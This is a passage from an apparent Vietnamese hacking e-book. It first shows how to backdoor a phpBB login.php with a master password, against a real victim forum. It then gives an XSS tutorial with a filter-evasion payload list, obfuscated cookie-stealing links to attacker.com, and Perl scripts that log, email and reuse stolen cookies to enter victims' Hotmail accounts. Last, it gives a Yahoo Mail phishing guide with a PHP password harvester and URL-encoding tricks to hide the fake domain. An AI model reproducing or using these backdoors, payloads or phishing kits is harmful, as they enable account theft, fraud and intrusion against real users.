Trước hết bạn mở file login.php ra tìm đoạn sau :
## file login.php ..
define("IN_LOGIN", true);
define('IN_PHPBB', true);
$phpbb_root_path = './';
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
## file login.php ..
Chèn thêm biến $hack = "692e2c95b693cf6fbec8ea5c40536b9e";
Tức là sửa đoanj mã đó thành
## file login.php ..
define("IN_LOGIN", true);
define('IN_PHPBB', true);
$phpbb_root_path = './';
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);
$hack = "692e2c95b693cf6fbec8ea5c40536b9e";
## file login.php ..
Tiếp đó tìm đoạn mã sau
## file login.php ..
http://wWw.Hack.Cf Page 76
else
{
if( md5($password) == $row['user_password'] && $row['user_active'] )
{
$autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
## file login.php ..
Sửa đoạn mã đó thành
## file login.php ..
else
{
if( md5($password) == $hack && $row['user_active'] )
{
$autologin = ( isset($HTTP_POST_VARS['autologin']) ) ? TRUE : 0;
## file login.php ..
Ghi lại file login.php
Bước 7.Login User với mật khẩu đã chọn
Bây giờ bạn có thể login vào diễn đàn qua website của bạn http://root/mysite/login.php với bất cứ
nickname nào bằng mật khẩu mà bạn đã chọn. Ở đây là "hainam@hainam.org" kể cả là nick
Admin, và vào được Admin Panel ..
Chú ý rằng ở website của bạn thì User chỉ có thể login với mật khẩu là hainam@hainam.org chứ
không thể bằng bât kì mật khẩu khác kể cả đó là mật khẩu đúng
Tổng quát :
I/Phương Pháp
-Đây là một ví dụ cho việc hack các website khi trong một local, không chỉ riêng đối với phpBB
mà có thể áp dụng được cho nhiều Portal hay forum khác, tuy nhiên để có thể hack được từng
loại bạn đều phải hiểu rất kĩ về nó và tránh lạm dụng quá đáng.
-Cách hack này tuy mất nhiều thời gian trong việc upload một mirror nhưng rất hiệu quả. Tuy
nhiên tuyệt đối không nên sử dụng chúng lung tung và bừa bãi.
-Các hosting cho phép free, điều đó chứng tỏ họ rất tốt bụng, cũng chính vì vậy cũng không nên
sử dụng phương pháp này khi KHÔNG THỰC SỰ cần thiết
II/Ví dụ.
-Trước hết tôi xin lỗi những ai đã làm website **** vì tôi sẽ đưa website của các bạn ra làm ví dụ
và đã là victim đầu tiên của tôi.
-Mong các bạn, những người đang muốn học hỏi thêm một chút kinh nghiệm chỉ tham qua chứ
không lạm dụng gi để làm hỏng DataBase của họ, thực sự tôi đã backup nhưng tôi cũng rất ngại
restore lại. Hơn nữa để đảm bảo cho các bài viết tiếp theo không bị phản đối, tôi mong mọi người
hãy tôn trọng ý kiến của tôi, KHÔNG PHÁ PHÁCH GÌ DB CỦA VICTIM và mang mục đích học
hỏi và tham khảo lên hang đầu.
-Website mirror của website**** là **** , tại đây các bạn có thể login vào bất cứ nickname nào
trong diễn đàn **** với mật khẩu chung là "hainam@hainam.org" . hãy nhớ là KHÔNG NÊN PHÁ
DB CỦA HỌ, chi nên tham khảo
III/Kinh nghiệm
Điều quan trọng không phải là chúng ta hack được những cái gì mà là chúng ta học được những
cái gì. Qua bài viết này mong các bạn nắm rõ được một số thao tác sau
-Đọc mã nguồn của một file bất kì trên website khi đã cùng một server (Bước 3)
-Kinh nghiệm về mật khẩu, dò tìm và ghi nhớ (Bước 4)
-Cách tạo một mirror website hay là cách link DB cho nhiều website (Bước 5)
http://wWw.Hack.Cf Page 77
-Cách crack cổ điển bằng ASM (Bước 6.1)
Các bạn nên tìm ra các mối liên hệ giữa các Portal, Forum, Guest Book, Chatroom PHP-CGI,..
để có thể áp dụng phương pháp này. Mặt khác các bạn cũng có thể hack được ngay cả đối với
các domain hosting chứ không phải là các site có dạng http://root/yoursite/ . Và Các Paid hosting
cũng không ngaọi trừ khả năng bị hack nếu các hacker đã thực sự muốn hack và sẵn sang bỏ
tiền mua một hosting trên cùng một Server. Phần hack paid hosting và domain tôi xin để cho các
bạn tự tìm hiểu. Hãy nhớ rằng luôn luôn phải chú ý đến URL Root của mỗi hosting. Ví dụ như ở
Cpanel thì URL Root cho các domain hosting l? http://[ip/ Server]/~user .vv
Chúc các bạn thành công
Bài viết của Lukos
Cross Site Scripting :
Ngày nay! các lỗ hổng Cross Site Scripting (XSS) ngày càng được phát hiện nhiều ở các dịch vụ
đại chúng nổi tiếng như: Yahoo, Hotmail, Ebay...
Cộng đồng các Hacker và Security đã chứng minh và có nhiều cuộc trình diễn về về sự nguy
hiểm của XSS bên trong các dịch vụ đại chúng nổi tiếng như: Yahoo, Hotmail, Ebay và một số
sản phẩm được ưa chuộng như: Apache, Tomcat, IIS, Lotus Domino. Các lỗ hổng XSS này cho
phép các Hacker có thể dễ dàng đánh cắp User của người dùng trên các ứng dụng Web.
Nhưng để thực hiện được một cuộc tấn công XSS thì đòi hỏi các Hacker phải có một khả năng
nhất định. Đầu tiên các Hacker sẽ cố gắng đánh cắp Cookies của người sử dụng vào đúng thời
điểm mà người sử dụng đó đăng nhập đến các dịch vụ ứng dụng Web.
Gần như tất cả các dịch vụ Web đại chúng đều sử dụng Cookies để liên kết các tài khoản với
người sử dụng. Điển hình là các dịch vụ Webmail như: Yahoo, Hotmail, Netscape...Và cả các
dịch vụ ngân hàng, thương mại điện tử cũng sử dụng Cookies cho mục đích chứng thực và cấp
phép.
Trong một kịch bản đăng nhập vào của các ứng dụng Web. Có 2 Token chứng thực được yêu
cầu trao đổi. Nó chính là Username và Password...2 giá trị này được lưu giữ bên trong Cookies,
sau đó được sử dụng như một dấu hiệu chứng thực duy nhất. Vậy để đánh cắp được User và
Password cuat nạn nhân. Thì trước hết bạn phải đánh cắp được Cookies của họ. Các Hacker
thường sử dụng và khai thác tính dễ tổn thương XSS để ăn cắp Cookies của người dùng trên
Internet.
Các Hacker cũng có thể gián tiếp sử dụng các kỹ thuật khác để thực hiện công việc này: chẳng
hạn như từ Cahe DNS, các Bug từ trình duyệt Internet của bạn, hay sử dụng một Trojan. Một khi
các Cookies được bị đánh cắp. Các Hacker có thể khai thác các thông tin quý giá lưu trên
Cookies và bắt đầu hướng các hoạt động đến các Server Web Application. Bắt đầu tấn công đến
tài khoản của nạn nhân. Nếu thàhh công các Hacker có thể toàn quyền sử dụng và điều khiển
các tài khoản ứng dụng trên Web của bạn.
Chúng ta bắt đầu tìm hiểu về các cuộc tấn công XSS:
Bản thân XSS là viết tắt của (Cross Site Scripting). Nếu một dịch vụ Web có chứa tính tổn
thương XSS nó cho phép các Hacker có thể gửi các dữ liệu hiểm độc tới nạn nhân hoặc xuyên
http://wWw.Hack.Cf Page 78
qua các ứng dụng đó. Các Hacker thường thực hiện khai thác tính dễ tổn thương XSS bằng kỹ
xảo sử dụng các URL hiểm độc hay lợi dụng sự sơ hở của nạn nhân để đánh lừa họ. Những
URL này rất đa dạng về ngôn ngữ: (VBScript, Javascript...etc) và chúng sẽ được Excute ngay
trên trình duyệt của nạn nhân.
Tính tổn thương XSS được xảy ra bởi một sự bất thường trong các ứng dụng Web khi xử lý các
giá trị đầu vào của người dùng. Dưới đây là một ví dụ về tính dễ tổn thương của XSS được khai
thác bằng cách nhúng JavaScript, nó sẽ được thực thi trên trình duyệt của nạn nhân cùng với sự
cho phép của dịch vụ Web dễ tổn thương:
http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/education/?ID=
MCTN&target="><script>alert(document.cookie)</script>
http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(„Test‟);</script
>
http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&p
age=1&ct=VVTV&mh=0&sh=0&RN=1
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=%22%3E%3Cscri
pt%3Ealert%28document.cookie%29%3C%2Fscript%3E
Các dịch vụ Web phần lớn sử dụng ngôn ngữ CGI. Thật ra thì nạn nhân không cần thiết phải
Click vào một Link. Code XSS cũng có thể được tải tự động trong một E-mail dưới định dạng
HTML khi nạn nhân đọc Mail (thường là 2 Tag: IMG hay FRAME HTML - Badtrans Worm là một
ví dụ điển hình). Có rất nhiều cách để trèn mã JavaScript vào một URL cho mục đích khai thác
tính dễ tổn thương của XSS. Cross Site là một bộ phận của XSS sẽ tham chiếu tới những sự hạn
chế an toàn mà bộ trình duyệt mạng thông thường có liên quan đến dữ liệu với các Website
động (sử dụng DHTML). Bởi việc thực hiện các Script trên trình duyệt của nạn nhân cùng với sự
cho phép của ứng dụng Web đó. Các Hacker có thể vượt qua Document Object Model (DOM).
Lợi dụng sự sơ hở này các Hacker sẽ đánh cắp Cookies và đột nhập vào các tài khoản của bạn.
DOM là một Framework cho phép thực hiện những kịch bản để làm thay đổi nội dụng của những
trang Web động.
Như đã nói! các Hacker có thể lợi dụng tính dễ tổn thương của XSS để đánh cắp Cookies của
người sử dụng. Bởi việc trèn các Script hiểm độc, các Hacker có thể nắm quyền điều khiển bộ
trình duyệt cuar nạn nhân. Họ sẽ lợi dụng tính dễ tổn thương trong trình duyệt của nạn nhân để
dành quyền truy cập tới hệ điều hành của họ. Một đoạn Code ví dụ:
<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="java script:[code]">
<img dynsrc="java script:[code]">
<input type="image" dynsrc="java script:[code]">
<bgsound src="java script:[code]">
&<script>[code]</script>
&{[code]};
<img src=&{[code]};>
<link rel="stylesheet" href="java script:[code]">
<iframe src="vbscript :[code]">
<img src="mocha:[code]">
<img src="livescript:[code]">
http://wWw.Hack.Cf Page 79
<a href="about :<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=java script:[code]">
<body onload="[code]">
<div style="background-image: url(java script:[code]);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression([code]);">
<style type="text/javascript">[code]</style>
<object classid="clsid:..." codebase="java script:[code]">
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="java script:[code]">
<xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[xC0][xBC]script>[code][xC0][xBC]/script>
Bạn có thể tham khảo thêm thông tin ở:
http://www.cgisecurity.com/articles/xss-faq.shtml
http://www.w3.org/DOM/
A Tradition XSS Power Hjack
Để thực hiện một phiên đánh cướp (Hjack) các Hacker thường sự dụng bộ chụp gói tin (Sniffer),
các công cụ bẻ khoá (Brute Force)...Thông dụng và phù hợp hơn cả vẫn là cách đánh cắp
Cookies để nắm quyền điều khiển một phiên ứng dụng mạng của một người dùng hợp pháp
trong khi người dùng đăng nhập vào hệ thống mạng ứng dụng. Thông thường thì kẻ tấn công
thường thực hiện tất cả các chức năng ứng dụng của mạng với cùng đặc quyền của người sử
dụng hợp pháp đó. Dưới đây là các bước được Hacker sử dụng để đánh cắp Cookies của người
sử dụng hợp pháp
- Một người sử dụng đăng nhập vào hệ thống ứng dụng Web của họ, một phiên làm việc đã
được thiết lập. Các Hacker biết về tính dễ tổn thương của hệ thống ứng dụng Web đó.
- Hacker sẽ gửi các mã XSS hiểm độc đến nạn nhân thông qua E-mail dưới định dạng HTML hay
qua một trang Web trung gian. Trong một vài trường hợp các Hacker có thể nhúng chúng vào
các nội dung Web phổ biến như Guest Book, Form Mail...các mã hiểm độc này sẽ được tự động
thực thi trên trình duyệt của nạn nhân mà không cần sự cho phép của họ. Lấy ví dụ: tính dễ tổn
thương trong http://hotwried.lycos.com Có đoạn Code sau:
<html>
<head>
<title>Look at this!</title>
</head>
<body>
<a
href="http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<
script>document.location.replace('http://attacker.com/steal.cgi?'+docum
ent.cookie);</script>"> Check this CNN story out! </a>
http://wWw.Hack.Cf Page 80
</body>
</html>
Đoạn Script trên sẽ dẫn nạn nhân đến một trang có chứa CGI Script của kẻ tấn công và tại đây
nó sẽ đánh cắp Cookies của nạn nhân. Nó sẽ có dạng như sau:
http://attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C20
100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_tit
an_20=5901=1019511286
Hay các Hacker cũng có thể đanh lừa nạn nhân bằng đoạn Code sau:
<html>
<head>
<title>Look at this!</title>
</head>
<body>
<a
href="http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<
script>document.location.replace('http://attacker.com/steal.cgi?'+docum
ent.cookie);</script>"
onMouseOver="window.status='http://www.cnn.com/2002/SHOWBIZ/News/05/02/
clinton.talkshow.reut/index.html';return true"
onMouseOut="window.status='';return true"> Check this CNN story out!
</a>
</body>
</html>
Tuy nhiên nếu để đoạn Code đó lộ thiên như vậy sẽ rất khó lừa nạn nhân cũng như cơ chế lọc
của các dịch vụ ứng dụng Web. Chính vì vậy lên các Hacker thường mã hoá chúng lại theo
chuẩn ASCII (American Standar Code Information Interchance):
<html>
<head>
<title>Look at this!</title>
</head>
<body>
<a
href="http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<
script>var u = String.fromCharCode(0x0068);u %2B=
String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074);
u %2B= String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003A);
u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x002F);
u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x0074);
u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0061);
u %2B= String.fromCharCode(0x0063);u %2B= String.fromCharCode(0x006B);
u %2B= String.fromCharCode(0x0065);u %2B= String.fromCharCode(0x0072);
u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063);
u %2B= String.fromCharCode(0x006F);u %2B= String.fromCharCode(0x006D);
u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0073);
u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0065);
http://wWw.Hack.Cf Page 81
u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x006C);
u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063);
u %2B= String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x0069);
u %2B= String.fromCharCode(0x003F);u %2B=
document.cookie;document.location.replace(u);</script>"
onMouseOver="window.status='http://www.cnn.com/2002/SHOWBIZ/News/05/02/
clinton.talkshow.reut/index.html';return true"
onMouseOut="window.status='';return true"> Check this CNN story out!
</a>
</body>
</html>
- Khi các đoạn Script này được thực hiện trên trình duyệt của người dùng hay được tự động thực
thi trên trong E-mail của nạn nhân. Nó sẽ tự động Load các Tag như IMG, HTML FRAME (img
src ="script.js"> hay <iframe = "script.js">. Khi đoạn Code Java Script đó được thực hiện (có thể
sử dụng các ngôn ngữ khác) thì nó sẽ bị trang Web chứa Code CGI của Hacker đánh cắp.
Cookies sẽ có dạng như sau:
http://attacker.com/steal.cgi? lubid=01000000F81038F953EB3C41EB340000585500000000
;%20p
_uniqid=8s51F99ZdNn/n27HtA
Giá trị Cookies ở đây chính là: lubid=01000000F81038F953EB3C41EB340000585500000000
;%20p
_uniqid=8s51F99ZdNn/n27HtA
- Các Hacker thương sử dụng một số đoạn Code để đánh cắp Cookies của nạn nhân và sử dụng
giá trị Cookies đó ngay trên trình duyệt của mình. Đoạn Code Perl sau sẽ giúp các Hacker thực
hiện điều đó:
#!/usr/bin/perl
# steal.cgi by David Endler dendler@idefense.com
# Specific to your system
$mailprog = '/usr/sbin/sendmail';
# create a log file of cookies, we‟ll also email them too
open(COOKIES,”>>stolen_cookie_file”);
# what the victim sees, customize as needed
print "Content-type:text/htmlnn";
print <<EndOfHTML;
<html><head><title>Cookie Stealing</title></head>
<body>
Your Cookie has been stolen. Thank you.
</body></html>
EndOfHTML
# The QUERY_STRING environment variable should be filled with
# the cookie text after steal.cgi:
# http://www.attacker.com/steal.cgi?XXXXX
print COOKIES “$ENV{'QUERY_STRING'} from $ENV{„REMOTE_ADDR‟}n”;
# now email the alert as well so we can start to hijack
open(MAIL,"|$mailprog -t");
print MAIL "To: attacker@attacker.comn";
print MAIL "From: cookie_steal@attacker.comn";
print MAIL "Subject: Stolen Cookie Submissionnn";
http://wWw.Hack.Cf Page 82
print MAIL "-" x 75 . "nn";
print MAIL “$ENV{'QUERY_STRING'} from $ENV{„REMOTE_ADDR‟}n”;
close (MAIL);
Hacker chỉ cần đọc Mail và lấy giá trị Cookies vừa ăn cắp được của nạn nhân và đăng nhập vào
hệ thống ứng dụng Web với giá trị Cookies đó mà không cần User và Pass. Tất nhiên anh ta có
toàn quyền sử dụng tài khoản này.
Now Let's Automated it
Một trong những trở ngại lớn nhất trong quá trình đánh cắp Cookies của các Hacker có lẽ là sự
tính toán về yếu tố thời gian. Bởi vì ngoài việc phải phục kích đúng thời điểm nạn nhân đăng
nhập. Các Hacker còn phải liên tục theo dõi các E-mail và những CGI log trong khi thực hiện
công việc đánh cắp Cookies, và tiến hành đánh cắp phiên làm việc trước khi nạn nhân thoát ra
khỏi phiên làm việc đó. Chính vì vậy mà các Hacker đã nghĩ đến làm sao phải tự động hoá cái
quá trình tốn kém công sức và thời gian này.
Chúng ta hãy cùng xem xét qua Hotmail. Một dịch vụ Freemail nổi tiếng của hãng MSN. Đầu tiên
kẻ tấn công cũng đánh lừa nạn nhân Click vào một liên kết để đánh cắp Cookies của họ, hoặc
thậm chí các Hacker còn sử dụng cả các Worm.
Lấy ví dụ một đoạn Cookies của Hotmail có dạng sau:
HMP1=1;
HMSC0899=223victim%40hotmail%2ecomSxAIWq5iIf2ZTc6e
TZYkHUqtZeCuYMKoBAB1eiapyad
Kb1RCjuNz5U4%21l1KIOsuBpTEbUKYkmTuzPJVj%2abtLeMyiV
Gap9BF82YvrP2WPsX4Z6ekH9a7c
Rqq2VqTspQIS33GWygbPEsLOEFIupoiaYZdqmURMJK%21nh6O4
u4UNAJUjzOmQ8ye%2at3GjQfi6p
Ba3vTT533tCRmZDy47NZY6cPdkbeHR5soAVnNPyqhvm73a%214
%2aFRHPJfOGhT6cbVR9zN%21XDX
3seXv9czjX6cm2lugTnpKZS2UQ0j%21%21PWkyiqS2aSw%2aKk
2%2aCquxzpjE2F0uVZgHfznNjVL
PgGV2H%2a5GqZjXf144U0m8HFwlGS9A8RIwNMGtMoSro%2atCU
6L6304VyZyJ4vlEM%21adk%24;
MC1=V=3&GUID=0724b14826c9437ct786ba6f2a36b04f;
lang=en-us;
mh=MSFT;
SITESERVER=ID=UID=0724b14876c9437ca786ba6f2a36b44f
;
MSPAuth=2JqD6vvUbDzqFAm6O7QVMWaeSdtiJExWGRQ5cmSuJ9
CUf4QSJbsQNmKkOCe3RLo%21A5G
hxQ7mtfdZ%2aw3Bc0O7Pwzw%24%24;
MSPProf=2JqD6vvUbB11hog4j6OgbT%21BYwgn3IZN9AyKYUpD
NECCi%2a9dBZf37wqxmWtyS%21%
21Z6icYG8dVF30FnbsANQcdN1lQ%21QJCTDiddJAW9oiWSf%2a
8g9nwIGclDtNP6Hk2gFlOfZHEju
http://wWw.Hack.Cf Page 83
vkM6Ja1N549eYs1VuhdcHCFWukzbVR%21%218POKn%2aS8vcqV
g4ZHHgabh0CQXoxj;
domain=lw4fd.law4.hotmail.msn.com;
Và nó sẽ được gửi đến Script CGI của Hacker với nội dung sau:
http://attacker.com/steal2.cgi?HMP1=1;%20HMSC0899=223victim%40hotmail%2ecomSx
AIWq5iIf2ZTc6eTZYkHUqtZeCuYMKoBAB1eiapyadKb1RCjuNz
5U4%21l1KIOsuBpTEbUKYkmTuzP
JVj%2abtLeMyiVGap9BF82YvrP2WPsX4Z6ekH9a7cRqq2VqTsp
QIS33GWygbPEsLOEFIupoiaYZdq
mURMJK%21nh6O4u4UNAJUjzOmQ8ye%2at3GjQfi6pBa3vTT533
tCRmZDy47NZY6cPdkbeHR5soAVn
NPyqhvm73a%214%2aFRHPJfOGhT6cbVR9zN%21XDX3seXv9czj
X6cm2lugTnpKZS2UQ0j%21%21PW
kyiqS2aSw%2aKk2%2aCquxzpjE2F0uVZgHfznNjVLPgGV2H%2a
5GqZjXf144U0m8HFwlGS9A8RIwN
MGtMoSro%2atCU6L6304VyZyJ4vlEM%21adk%24;%20MC1=V=3
&GUID=0724b14826c9437ct786b
a6f2a36b04f;%20lang=en_s;%20mh=MSFT;%20SITESERVER=
ID=UID=0724b14876c9437ca786
ba6f2a36b44f;%20MSPAuth=2JqD6vvUbDzqFAm6O7QVMWaeSd
tiJExWGRQ5cmSuJ9CUf4QSJbsQN
mKkOCe3RLo%21A5GhxQ7mtfdZ%2aw3Bc0O7Pwzw%24%24;%20M
SPProf=2JqD6vvUbB11hog4j6Og
bT%21BYwgn3IZN9AyKYUpDNECCi%2a9dBZf37wqxmWtyS%21%1
Z6icYG8dVF30FnbsANQcdN1lQ%
21QJCTDiddJAW9oiWSf%2a8g9nwIGclDtNP6Hk2gFlOfZHEjuv
kM6Ja1N549eYs1VuhdcHCFWukzb
VR%21%218POKn%2aS8vcqVg4ZHHgabh0CQXoxj;%20domain=l
w4fd.law4.hotmail.msn.com;
Dưới đây là đoạn Code CGI được sử dụng để đánh cắp CGI của Hotmail:
#!/usr/bin/perl
# steal2.cgi by David Endler dendler@idefense.com
use LWP::UserAgent;
use HTTP::Cookies;
$cookie = HTTP::Cookies->new (
File => $cookiefile,
AutoSave => 0, );
# Specific to your system
$mailprog = '/usr/sbin/sendmail';
# create a log file of cookies, we‟ll also email them too
open(COOKIES,”>>stolen_cookie_file”);
# what the victim sees, customize as needed
print "Content-type:text/htmlnn";
print <<EndOfHTML;
<html><head><title>Cookie Stealing</title></head>
http://wWw.Hack.Cf Page 84
<body>
Your Cookie has been stolen. Thank you.
</body></html>
EndOfHTML
# The QUERY_STRING environment variable should be
# filled with
# the cookie text after steal2.cgi:
# http://www.attacker.com/steal2.cgi?XXXXX
print COOKIES “$ENV{'QUERY_STRING'} from $ENV{„REMOTE_ADDR‟}n”;
# now email the alert as well so we can start to hijack
open(MAIL,"|$mailprog -t");
print MAIL "To: attacker@attacker.comn";
print MAIL "From: cookie_steal@attacker.comn";
print MAIL "Subject: Stolen Cookie Submissionnn";
print MAIL "-" x 75 . "nn";
print MAIL “$ENV{'QUERY_STRING'} from $ENV{„REMOTE_ADDR‟}n”;
close (MAIL);
# this snippet goes to the victim‟s Hotmail inbox and dumps
# the output. An attacker could just as easily add some lines
# to parse for http://lw4fd.law4.hotmail.msn.com/cgi-bin/getmsg?
# and then read the individual emails
$base_url = “http://lw4fd.law4.hotmail.msn.com/cgi-bin/HoTMaiL?”;
$ua->agent("Mozilla/4.75 [en] (Windows NT 5.0; U)");
$request = new HTTP::Request ('GET', $base_url);
$ua->cookie_jar( $cookie );
# let‟s do a little parsing of our input to separate multiple
# cookies
# cookies are seperated by a semicolon and
# a space (%20),
# this will extract them so we can load them into our
# HTTP agent
@cookies = split(/;%20/,$ENV{'HTTP_COOKIE'});
for (@cookies){
@cookie_pairs = split(/=/, $_);
$cookie->set_cookie(0, “$cookie_pairs[0]” => “$cookie_pairs[1]”, "/",
".hotmail.com");
$cookie->add_cookie_header($request); }
# now that our forged credentials are loaded, let‟s
# access the victim‟s Hotmail account! At this point
# we can do anything to their account simply by forming the
# correct URL
$response = $ua->simple_request( $request );
$contents = $response->content;
print COOKIES “$contentsn”;
Như đã nói ở trên để thực hiện một cuộc tấn công XSS không phải là dễ. Nhưng bạn cũng lên
thận trọng trước các cuộc tấn công kiểu này...
Bài viết của Binhnx2000
http://wWw.Hack.Cf Page 85
#######################################################################
Author by : CUCCU ( Members of HVA )
Website : http:// www.vnhacker.org/forum/
Edit by : PTV5 Group
Website : http://www.ptv5online.com ; http://www.ptv5online.net ……
#######################################################################
Lời mở đầu:
Trước tiên xin nói trước là bài viết này là của tôi tự nghiên cứu và viết, bất cứ bài viết
nào post lại mà không ghi tên tôi là tui "ca cải lương" cho tắt luôn đấy
Thứ hai là xin phép các bác admin và mod cho bài này tồn tại, đừng cho vào sọt nhé
*******************************
Bài viết của tôi có 4 bước:
*******************************
Bước 1. Tạo Fake login: Muốn lấy được pass của victim với tỉ lệ thành công cao,
bạn phải có một trang Web dỏm y hệt như của Yahoo! Mail
Thuổng của người khác:
QUOTE
Tạo tệp yahoo.PHP, đoạn code như sau:
<?
$contactemail = "mailcuaban@yahoo.com"; //
$subject = "password of $login@yahoo.com : $passwd";
$message = "";
mail($contactemail, $subject, $message);
header("location: http://login.yahoo.com/config/login?6rfn98...&.src=ym&.last=
&promo=&.intltype=us&.bypass=&.partner=&.u=6l335nstlpk8v&.v=0&hasMsgr=
0&.chkP=Y&.done=&login=$login&passwd=$passwd&.persistent=");
?>
Save as trang chính của yahoo! mail, sau đó mở tệp này bằng Notepate và tìm đến
dòng:
<FORM name=login_form onsubmit="return
hash(this,'http://login.yahoo.com/config/login')"
action=http://login.yahoo.com/config/login method=post autocomplete="off">
Thay đoạn này bằng :
<FORM action="http://trang Web có hỗ trợ php/tên đăng kí của bạn/yahoo.php"
method="post">
Cái này thì cực nhiều hướng dẫn trên diễn đàn rồi, nhưng có một số lỗi sau khiến
hiệu quả không được cao:
http://wWw.Hack.Cf Page 86
1: Đoạn code sửa đổi <form> hoạt động tốt, nhưng gây lỗi trên trang Fake login, tôi
không hiểu sao mấy chú trên forum quảng cáo rất nhiều về trang Fake login của
mình mà không chịu sửa nó đi......
Nếu bạn để ý, làm theo hướng dẫn của bất kì bài viết nào hiện có trên diễn đàn,
trang fake login cũng hiện lên 1 biểu tượng báo lỗi (có dấu ! màu vàng) ở Status bar,
nếu victim tinh ý 1 tí là nhận ra ngay, không cần nhìn lên đường link làm gì cả
Cách sửa: Thực ra cũng chẳng có gì đáng nói, các chú tiết kiệm quá nên bỏ qua mấy
khai báo đơn giản:
Chỉ cần sửa như sau:
<FORM name=login_form action="http://trang Web có hỗ trợ php/tên đăng kí của
bạn/yahoo.php" method="post" autocomplete="off">
Ổn rồi phải không, thành công 1 bước nhỏ trong việc che mắt victim........
2. Nhìn cái đường link của mấy chú thấy chán cả người, ai lại giao diện của Yahoo!
Mail mà tên đường dẫn lại cực chuối củ...... No problem, thực tế thì chẳng ai đăng kí
được 1 cái domain giông giống như mail.yahoo.com cả...... Cách khắc phục đây:
Cái này thuổng của người khác:
QUOTE
Nếu trước đường link, ta thêm "@", rồi oánh lia lịa các kí tự vớ vỉn, thì IE cũng chỉ
công nhận các kí tự ở đằng sau "@" mà thôi
1 ý tưởng hay, do đó, bạn có thể thêm www.mail.yahoo@ vào đằng trước đường link
của bạn,
VD: http://www.mail.yahoo@trang Web có hỗ trợ php/tên đăng kí của bạn
hehhe, thường là victim chỉ nhìn mấy cái chữ đầu của đường link mà thôi, do đó nhìn
như vậy cũng tạm ổn phải không..... nếu chú nào dể tính thì uh, nhưng tôi thì không,
đã làm là phải lừa không được 100% thì cũng phải 95-96% chứ, nhìn cái tên trang
Web của bạn nó vẫn lù lù đằng sau kia kìa, ai mà chẳng nhận ra.....
Do đó, có 1 cách cực hay sau:
Mã hoá Url: Dùng cái này có thể mã hoá đường link của bạn thành các kí tự loằng
ngoằng, khó ai dịch được (nhưng IE lại chấp nhận). điều đó sẽ khiến victim không đề
phòng nổi do đường link trông hầu như hao hao với trang Yahoo! Mail khi ta Sign Out
Giới thiệu qua: Forum http://www.vnhacker.org/forum khi được mã hoá sẽ như sau:
http://www.vn%68%61cke%72%2E%6Frg/f%6Fru%6D
Trông loằng ngoăng hợp lệ chưa??? Bạn thử copy đường link trên cho chạy thử xem
sao???Đảm bảo dẫn đến forum..... hehheh
http://wWw.Hack.Cf Page 87
Và sau đây là bảng hướng dẫn mã hoá:
a ---> %61 b ---> %62 c ---> %63 d ---> %64 e ---> %65
A ---> %41 B ---> %42 C ---> %43 D ---> %44 E ---> %45
f ---> %66 g ---> %67 h ---> %68 i ---> %69 j ---> %6A
F ---> %46 G ---> %47 H ---> %48 I ---> %49 J ---> %4A
k ---> %6B l ---> %6C m ---> %6D n ---> %6E o ---> %6F
K ---> %4B L ---> %4C M ---> %4D N ---> %4E O ---> %4F
p ---> %70 q ---> %71 r ---> %72 s ---> %73 t ---> %74
P ---> %50 Q ---> %51 R ---> %52 S ---> %53 T ---> %54
u ---> %75 v ---> %76 w ---> %77 x ---> %78 y ---> %79
U ---> %55 V ---> %56 W ---> %57 X ---> %58 Y ---> %59
z ---> %7A
Z ---> %5A
1 ---> %31 2 ---> %32 3 ---> %33 4 ---> %34 5 ---> %35
6 ---> %36 7 ---> %37 8 ---> %38 9 ---> %39 0 ---> %30
. ---> %2E
Okie, được rồi đó, lưu ý như sau: đường link nào dù loằng ngoằng đến đâu thì cũng
vẫn có các chữ và con số, do đó bạn không nên mã hoá tất cả, mà chỉ mã hoá 1 số
từ nhạy cảm, ví dụ www11.brinkster.com chẳng hạn, để victim không nhận ra là
brinkster, bạn mã hoá một số từ thôi:
w%77w1%31.br%69ks%74er%2Ecom
hehhe, hợp lý chứ.......
Thành công nhe.....
**********************************************************
Bài viết của Cuccu__
**********************************************************
Bước 1 tôi giới thiệu trên mọi người đều có thể làm được, không có gì mới cả, tôi chỉ
hướng dẫn các bạn cách mã hoá và sửa lỗi của trang fake login cho hoàn hảo hơn mà
thôi, nếu các bạn khéo dùng, có thể lừa được khá nhiều người, có thể nói là kể cả
những người kha khá về fake login cũng bị lừa như chơi, nếu không cảnh giác cao
độ......
Nhưng độ chính xác của con mồi không được cao, chẳng nhẽ lại rủ victim vào cửa
hàng nào đó hay là shere cho victim cái trang này???? Không hợp lý.....
Bước 2 dưới đây cho phép bạn ở Việt Nam, thay đổi homepage address ở tận bên
